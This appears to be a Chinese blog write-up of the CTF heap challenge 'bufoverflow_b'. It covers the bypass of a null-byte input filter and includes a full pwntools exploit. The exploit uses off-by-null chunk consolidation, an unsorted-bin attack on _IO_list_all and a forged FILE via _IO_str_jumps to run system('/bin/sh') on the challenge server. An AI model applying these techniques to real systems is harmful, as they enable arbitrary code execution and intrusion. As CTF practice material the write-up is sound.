【攻防世界】bufoverflow_b

其他部分与 bufoverflow_a一样,但是 b 中多了一个检查:
在这里插入图片描述
这里不能输入空字节,这样的话就不能像 a 中直接布置,这样会破坏掉前面的字段,需要倒着布置。还有一个需要注意的就是,在触发 off by null 时 a 中可以一次性的布置好 pre_size 和 pre_inuse 位,但是在本题中则需要先覆盖 next chunk 的 pre_inuse 位,然后再清理填充的字节,布置 pre_size 位,再触发:

# pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit('b'*0x88)
clean(0x80)
edit('a'*0x80 + '\x70\x02\x00')
dele(2) # consolidate 0 1 2
完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
# context.log_level = 'debug'

binary = './bufoverflow_b'
elf = ELF('./bufoverflow_b')
libc = elf.libc
# libc = ELF("./libc.so.6")
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary

DEBUG = 0
if DEBUG:
	p = process(binary)
else:
	host = "node3.buuoj.cn"
	port =  29870 
	p = remote(host,port)
if DEBUG == 2:
	host = ""
	port = 0
	user = ""
	passwd = ""
	p = ssh(host,port,user,passwd)

def dbg():
    gdb.attach(p)
    pause()

l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = ">> "

def cmd(i):
	ru(menu)
	sl(str(i))

def add(size):
	cmd(1)
	sla("Size: ", str(size))

def dele(idx):
	cmd(2)
	sla("Index: ", str(idx))

def edit(content):
	cmd(3)
	ru("Content: ")
	se(content)

def show():
	cmd(4)

def get_IO_str_jumps():
	IO_file_jumps_offset = libc.sym['_IO_file_jumps']
	IO_str_underflow_offset = libc.sym['_IO_str_underflow']
	for ref_offset in libc.search(p64(IO_str_underflow_offset)):
		possible_IO_str_jumps_offset = ref_offset - 0x20
		if possible_IO_str_jumps_offset > IO_file_jumps_offset:
			print(possible_IO_str_jumps_offset)
			return possible_IO_str_jumps_offset

def clean(offset):
	for i in range(7, -1, -1):
		edit('b'*(offset + i) + '\x00')

add(0x80) #0
add(0x80) #1
dele(0)
dele(1)
add(0x80) #0
show()
libc_base = l64() - libc.sym['__malloc_hook'] - 0x68
info("libc_base", libc_base)
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()

add(0x400) #1
add(0x80) #2

dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1) 

dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, '\x00')) - 0xb0
info("heap_base", heap_base)

dele(0)
dele(1)

# create fake chunk
add(0x208) #0
# fake_chunk = 'a'*0x20
# fake_chunk += p64(0) + p64(0x1e1)
# fake_chunk += p64(heap_base + 0x50) * 2
# fake_chunk = fake_chunk.ljust(0x200, '\x00')
# fake_chunk += p64(0x1e0)
# edit(fake_chunk)
clean(0x200)
edit('a'*0x200 + '\xe0\x01\x00')

clean(0x38)
edit('a'*0x38 + p64(heap_base + 0x50)[0:7])

clean(0x30)
edit('a'*0x30 + p64(heap_base + 0x50)[0:7])

clean(0x28)
edit('a'*0x28 + '\xe0\x01\x00')

add(0x80) #1
add(0xf0) #2
edit('b'*0xf0) # no use
dele(1)

# pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit('b'*0x88)
clean(0x80)
edit('a'*0x80 + '\x70\x02\x00')
dele(2) # consolidate 0 1 2

add(0x290) #2  split from fake_chunk 
# pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
# edit(pad)
clean(0x268)
pad = 'a'*0x268 + '\x01\x01\x00'
edit(pad)

# clean(0x260)

clean(0x1d8)
pad = 'a'*0x1d8 + '\x91\x00'
edit(pad)

# clean(0x1d0)
dele(1) # first free inside chunk
dele(0)

add(0x290) #0  split from normal chunk
# pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
# edit(pad)
clean(0xb8)
pad = 'a'*0xb8 + '\x51\x01\x00'
edit(pad)

# clean(0xb0)

clean(0x28)
pad = 'a'*0x28 + '\x91\x00'
edit(pad)

# clean(0x20)

dele(0) # get outside unsorted bin
dele(2) # get inside unsorted bin
add(0x290) # can control unsortedbin which #2 size =0x90 in it

# fake_file = p64(0) + p64(0x60)
# fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
# fake_file += p64(0) + p64(1)
# fake_file += p64(0) + p64(binsh_addr)
# fake_file = fake_file.ljust(0xd8, '\x00')
# fake_file += p64(IO_str_jumps_addr - 8)
# fake_file += p64(0) + p64(system_addr)

payload = 'a'*0x20
# pl += fake_file
# pl += '\n'
# edit(pl)

start = 0x20
clean(start + 0xE8)
edit(payload + 'a'*0xE8 + p64(system_addr)[0:7])
clean(start + 0xE0)
clean(start + 0xD8)
edit(payload + 'a'*0xD8 + p64(IO_str_jumps_addr - 8)[0:7])
for i in range(0xD0,0x38,-8):
   #print hex(i)
   clean(start + i)
clean(start + 0x38)
edit(payload + 'a'*0x38 + p64(binsh_addr)[0:7])
clean(start + 0x30)
clean(start + 0x28)
edit(payload + 'a'*0x28 + '\x01\x00')
clean(start + 0x20)
clean(start + 0x18)
edit(payload + 'a'*0x18 + p64(IO_list_all_addr-0x10)[0:7])
clean(start + 0x10)
clean(start + 0x8)
edit(payload + 'a'*0x8 + p64(0x60)[0:2])
clean(start + 0)

add(0xa0)
# dbg()

ia()

参考链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值